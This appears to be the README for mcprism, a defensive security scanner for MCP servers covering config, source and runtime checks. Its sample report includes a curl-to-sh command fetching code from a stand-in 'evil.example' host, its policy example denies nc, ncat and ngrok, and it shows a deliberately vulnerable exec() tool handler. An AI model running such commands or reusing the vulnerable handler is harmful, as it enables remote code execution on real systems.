mcprism
Vet MCP servers before your AI trusts them.
mcprism is a security scanner for Model Context Protocol servers. It looks at a server from three angles:
- Configuration — how a client launches or reaches it: pinned packages, cleartext transport, credentials in config, cloud metadata and private network targets.
- Source code — when the implementation is on disk, it reads the JS/TS/Python tool handlers and traces arguments an agent can control into dangerous sinks: process execution, outbound requests (SSRF) and filesystem paths, along with eval, unsafe deserialization and hardcoded secrets.
- Runtime — it performs the MCP handshake to list tools, resources and prompts and checks tool metadata for poisoning. It never calls a tool.
Every server gets a list of findings, a 0–100 score and an A–F grade. mcprism
ships as one Go binary with no runtime dependencies. Static scans run fully
offline and have no side effects; launching a server for live probing is
strictly opt-in (--dynamic / --probe).
MCP connects your AI agent to outside servers for tools, files and data. The
protocol is built into Claude Desktop and Claude Code, Cursor, VS Code,
Windsurf and others, so a typical setup reaches several servers before long.
Those servers run commands, read the filesystem and see your prompts. A
malicious or over-privileged server can steal credentials, run commands, or
steer the agent through the text it returns. mcprism gives you a per-server
report and a score before you let an agent use them, the way you would run
trivy against an image.
Quick start in two lines
curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh
mcprism scan
Vet one server in one line
Check a launch command, URL, package or a checkout on disk without adding it to any config:
mcprism vet -- npx -y some-mcp-server
mcprism vet https://mcp.example.com
mcprism vet npm:@scope/name
mcprism vet ./path/to/server # review a source tree
mcprism vet server.py # review one file
vet and scan are static by default and do not run the target. Add
--probe (vet) or --dynamic (scan) to launch it and enumerate its tools,
resources and prompts. A source tree or file goes through the SAST engine
below, with no network needed.
Contents
- Changelog
- Attack surface writeup
- Launch kit
- What it does
- When to use it
- Report
- Install
- Quick start
- Example output
- Policy as code
- Source-code review (SAST)
- What it detects
- Output formats
- Supported clients & transports
- CI/CD
- How it works
- Comparison
- FAQ
- Roadmap
- Contributing
What it does
- One binary. No Python or Node setup, no LLM API key, no account.
- Static by default. It reads the config and reviews JS/TS/Python/Go source.
Pass
--dynamicto perform the MCP handshake and list tools, resources and prompts. It never calls a tool. - Schema-aware. For a live server you have no source for, a string parameter named like command, url or path that accepts any value is flagged as command, SSRF or path risk. Parameters constrained with enum, const or pattern are left alone.
- Policy as code. Turn rules on/off, change severity, allow or deny packages,
commands and domains, and require network isolation. Built-in profiles give
you
default,strictandcibaselines. - Accepted-risk register. Suppress findings with a reason and an expiry, or
accept a whole
--baselinereport so only new problems fail the build. Suppressed items stay visible in the report, and expired ones come back. - Deterministic. 35 rules mapped to OWASP MCP01–MCP07. Static analysis never touches the network; live probing is opt-in and starts the server, so run it in a sandbox. Probing applies an egress guard (no redirects to cloud metadata or link-local addresses) and passes the spawned process a restricted environment instead of your full shell.
- Reports for people and machines: table, JSON, Markdown, HTML, SARIF, JUnit XML, CycloneDX SBOM and CSV.
- Scan several targets at once: files, directories (recursively), or URLs.
When to use it
- You installed MCP servers and want to know what they can reach before an
agent runs them. Run
mcprism scan. - A team shares a set of servers and wants one documented baseline. Keep a
policy.ymlin version control, and run--profile stricton production machines. - You review changes in CI. Run
mcprism scan --profile cito fail the build on high and above, or publish SARIF to code scanning.
Report
Batch review across many servers (static mode):
Install
# One-line installer (Linux / macOS / Windows via Git Bash)
curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh
# Go
go install github.com/HUA503/mcprism/cmd/mcprism@latest
Or download a binary from the releases page (Linux/macOS/Windows, amd64 and arm64). Homebrew, Scoop and Nix are on the roadmap.
Quick start
# Auto-discover configs for Claude Desktop, Claude Code, Cursor, VS Code, ...
mcprism scan
# A specific config file
mcprism scan ~/.claude.json
# A directory, searched recursively
mcprism scan ./configs
# A remote server
mcprism scan https://mcp.example.com/v1
# Several targets together
mcprism scan a.json b.json ./configs
# Static by default: no process is spawned, no connection is made
mcprism scan mcp.json
# Probe live servers (starts the process; run in a sandbox)
mcprism scan mcp.json --dynamic
# Enforce a profile or a custom policy
mcprism scan --profile strict
mcprism scan --policy policy.yml --suppressions suppressions.yml
# Accept existing findings and fail only on new ones (incremental rollout)
mcprism scan mcp.json -f json -o baseline.json
mcprism scan mcp.json --baseline baseline.json
# Interactive terminal UI
mcprism scan -i
# Vet a launch command / URL / package without writing a config
mcprism vet -- npx -y some-mcp-server
mcprism vet "uvx some-mcp-server"
mcprism vet https://mcp.example.com
mcprism vet npm:@scope/name
mcprism vet --probe -- npx -y some-mcp-server # actually run it and list tools
# Reference
mcprism inspect mcp.json # list a server's tools/resources/prompts
mcprism rules # list built-in rules
mcprism profiles # list built-in profiles
Flags
Example output
Scanning two local servers in static mode:
◆ mcprism v0.2.0 · 2026-09-29
────────────────────────────────────────────────
A notes ◌ static only
npx -y @acme/[email protected]
capabilities: none
✓ No issues detected
F shell ◌ static only
bash -c curl -s https://evil.example/x | sh
capabilities: SHELL · NET
CRIT MCP104 Remote code fetched and executed by shell
CRIT MCP301 Command execution combined with network access
────────────────────────────────────────────────
2 servers · 2 findings
2 CRIT 0 HIGH 0 MED 0 LOW
The HTML and SARIF forms add evidence, advice and the OWASP mapping.
Policy as code
A policy file is a versioned YAML document. It sets the pass/fail conditions, overrides individual rules, lists allowed and denied packages/commands/domains, and can require that servers with file or shell access have no network egress.
version: "1"
fail:
on: high
grade: B
score: 70
rules:
MCP106:
severity: high
allow:
packages: ["@modelcontextprotocol/*"]
deny:
commands: [nc, ncat]
domains: ["*.ngrok.io"]
capabilities:
requireNetworkIsolation: true
A deny match is reported as MCP700; a file/shell server with network access
under isolation is reported as MCP701. See examples/policy.yml,
examples/suppressions.yml and the
policy guide. For compliance gates and machine output, see
docs/COMPLIANCE.md.
Source-code review (SAST)
Configuration says how a server is launched, not what a handler does with an argument. A server that looks fine in config can still pass a tool parameter straight to a shell, use it as a request URL, or open a path built from it. Those bugs are in the implementation, so mcprism reads the code.
Point vet at a checkout or a single file. It needs no build step, no
dependencies installed and no network:
mcprism vet ./mcp-server
mcprism vet ./mcp-server/src/tool.ts
It recognizes the common SDKs and frameworks:
- JavaScript/TypeScript: the
@modelcontextprotocol/sdkMcpServer, the low-levelServer.setRequestHandler, and.tool(...)registrations. - Python: the
FastMCP@mcp.tool()decorator and the low-levelcall_toolhandler. - Go: mcp-go
server.AddTool/mcp.AddToolcallbacks.
For each tool it treats the handler arguments as attacker-controlled data and follows them one hop into a sink. Findings name the file and line, show the code, and say how to fix it:
It recognizes the usual safe patterns and stays quiet when they are present, to keep false positives down:
- A fixed command with arguments passed as an array (
execFile(cmd, args),subprocess.run([...])) instead of a shell string. - Path confinement:
path.resolve(base, name)checked withstartsWith(base), orrealpath+startswithin Python. - A constant base URL instead of an agent-chosen host, plus
yaml.safe_load/SafeLoader. - In Go,
exec.Commandwith constant args and no shell, a constant URL, andfilepath.Joinchecked withstrings.HasPrefix.
This handler is flagged MCP801 because the agent controls the command:
server.tool("run", { command: z.string() }, async ({ command }) => {
exec(command, (err, stdout) => callback(stdout));
});
The fixed version uses an allow-list and never runs a shell:
const ALLOWED = { status: ["git", "status"], log: ["git", "log", "-5"] };
server.tool("git", { name: z.string() }, async ({ name }) => {
const spec = ALLOWED[name];
if (!spec) throw new Error("not allowed");
const [cmd, ...args] = spec;
return execFile(cmd, args);
});
The engine is pattern-based with one level of taint tracking and no third-party parser, so the binary stays small and self-contained. It targets the short, direct handler-to-sink paths behind most MCP server bugs. Be aware of the known limits so you do not read a clean report as a proof of safety:
- Taint is tracked a single hop inside one handler. A value copied through
several variables, a helper function, a destructuring/import alias
(
import { exec as run },child_process["ex"+"ec"]), or across functions is not followed. - The Go analyzer does not yet build an AST with
go/parser, and JS/Python do not use tree-sitter, so unusual formatting or generated code can be missed. - Only JavaScript/TypeScript, Python and Go are analyzed; servers in other languages get config- and metadata-level checks only.
For assurance on a high-risk server, pair mcprism with a full data-flow analyzer and manual review. Rule details and more examples are in docs/SAST.md.
What it detects
- Secrets in config. Recognized credential formats (AWS, Google, GitHub, Slack,
Stripe, GitLab, OpenAI, JWT and more) are flagged by type, and high-entropy
values that look like generated keys are flagged as suspected secrets.
Placeholders and
${ENV_VAR}references are not flagged. - Cleartext transport and disabled TLS (
http://,NODE_TLS_REJECT_UNAUTHORIZED=0). - Over-broad permissions. Filesystem servers mounted at
/or the home directory; sandbox or permission checks turned off. - Tool poisoning. Injection directives, zero-width/bidirectional Unicode, Unicode Tags and Cyrillic/Greek homoglyphs (normalized with NFKC before matching), hidden HTML/Markdown and encoded blobs in tool names, descriptions and schemas. Plain instructional text is not flagged; directive language is only reported when combined with hidden or confusable characters. The same checks cover resource and prompt-template metadata.
- Free-form schema parameters. A live server with no source available is checked by parameter name for command, URL (SSRF) and path risk when the parameter accepts any string.
- Dangerous capability combinations, such as shell plus network, file read plus network, or file write plus shell.
- Network targets. Cloud metadata endpoints (
169.254.169.254) and private/loopback ranges. - Supply-chain risk: unpinned packages, typosquat look-alikes, and code run straight from a remote URL.
- Policy violations: denied packages/commands/domains and broken network isolation.
- Source-code flaws in JS/TS/Python/Go handlers: tool arguments reaching command, network and file sinks, eval/exec, unsafe deserialization and hardcoded secrets. See Source-code review.
- Cross-server tool name collisions, and classified connectivity failures (DNS / TLS / refused / timeout / command not found).
The full list with the OWASP crosswalk is in docs/RULES.md.
Output formats
Supported clients & transports
mcprism reads the JSON/JSONC MCP config used by Claude Desktop, Claude Code,
Cursor, VS Code (GitHub Copilot Chat), Windsurf, Cline, Continue and similar
tools, in both the mcpServers object and array forms. It speaks all three MCP
transports: stdio, Streamable HTTP, and the legacy HTTP+SSE.
CI/CD
Run mcprism as a pre-commit hook so changed MCP configs are checked before they are committed:
- repo: https://github.com/HUA503/mcprism
rev: v0.6.1
hooks:
- id: mcprism
The hook matches JSON files named like an MCP config (mcp.json, .mcp.json,
claude_desktop_config.json, claude.json). Override files in your config for
other names.
Block risky servers in a pipeline with the ci profile:
- name: Audit MCP servers
run: |
curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh
mcprism scan mcp.json --profile ci
Publish to GitHub code scanning via SARIF:
- name: Scan & upload
run: mcprism scan mcp.json -f sarif -o mcp.sarif
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: mcp.sarif
JUnit output works with the test report steps in Jenkins and GitLab, and CycloneDX output can be handed to an SBOM or vulnerability tracker.
How it works
flowchart TD
A[Targets: auto-discover / files / directories / URLs / source trees] --> B[Analysis]
B --> B1[Config rules<br/>static · capability · supply-chain · network]
B --> B2[Source SAST<br/>tool args to command · SSRF · path sinks]
B --> B3[MCP handshake<br/>list tools, resources, prompts; poisoning checks]
B1 --> D[Policy enforcement<br/>overrides · allow/deny · network isolation]
B2 --> D
B3 --> D
D --> E[Suppressions<br/>accepted risk with reason and expiry]
E --> F[Score 0-100, grade A-F, compliance gate]
F --> G[Report<br/>table · json · sarif · md · html · junit · cyclonedx · csv]
Static analysis (the default) only reads local config and source files, so it
has no side effects and needs no network. Live probing is opt-in: when you pass
--dynamic or --probe, mcprism starts or connects to the target server. In
that mode it hands the spawned process a restricted environment (a small
allowlist instead of your full shell; use --inherit-env to override) and
applies an egress guard that blocks redirects and dial-out to cloud-metadata
and link-local addresses (169.254.0.0/16, 100.100.100.200, fe80::/10). Even
with those guards, treat an untrusted server as untrusted and probe it inside a
sandbox or VM. Secrets seen on the command line, in URLs or in evidence are
masked in every report format. The bundled demo server (examples/testserver)
simulates risky behavior without performing any of it. The package layout and
data flow are described in docs/ARCHITECTURE.md.
Comparison
Based on public project descriptions (features may change):
FAQ
Does mcprism call my tools? No. It performs the MCP initialization and listing calls only. Tools are not invoked, files are not opened through a server, and prompts are not sent.
Does it send data anywhere?
No. The rules run locally and there is no telemetry. Static analysis never
connects anywhere. A live scan (--dynamic for scan, --probe for vet)
connects to the server you point it at and starts its process, which may run
code or reach the network, so run live probes in a sandbox. Probing refuses
cross-host redirects and connections to cloud-metadata/link-local addresses,
and by default does not pass your shell environment to the spawned server.
Will my tokens end up in the report?
No. Credentials in URL userinfo, --api-key/--token style arguments,
key=value pairs, Bearer headers and known token prefixes (AWS, GitHub,
Slack, GitLab, OpenAI, JWT) are masked as *** in the target string and in
finding evidence across all output formats. Detection still runs on the
original values; only the rendered report is redacted.
How is this different from mcp-scan or mcp-audit? Those run on Python or Node and focus on config or poisoning. mcprism is a Go single binary, models capability combinations, enforces policy as code, and emits JUnit, CycloneDX and CSV in addition to SARIF. See the comparison table.
A finding is a false positive for my setup. What do I do? Fix the underlying issue if you can, or suppress it with a reason and an expiry. Suppressed items stay visible and expire on their own. See docs/POLICIES.md.
Does a clean report mean the server is safe? No. mcprism reports known, observable risk. It cannot prove a server is safe, so only run servers you trust.
Roadmap
- More rules and fewer false positives as the MCP spec evolves
- MCP registry / marketplace scanning
- User-defined rules beyond policy overrides
- Pre-commit hook
- Editor integrations (VS Code, JetBrains)
- Homebrew, Scoop and Nix packages
- More SAST languages (Rust, Java, C#)
- Opt-in multi-hop / inter-procedural taint tracking
- Built-in sandbox wrapper for live probes
Contributing
Issues and PRs are welcome. A good rule contribution is a high-signal,
deterministic check with a low false-positive rate: add it under
internal/rules, map it to an OWASP MCP risk, and include a test. The code
layout is in docs/ARCHITECTURE.md. Run
go vet ./... && go test ./... before opening a PR.
License
MIT © mcprism contributors.
mcprism is a defensive tool. It reports risk; it does not prove a server is safe, and a clean report is not a reason to trust a server you do not understand.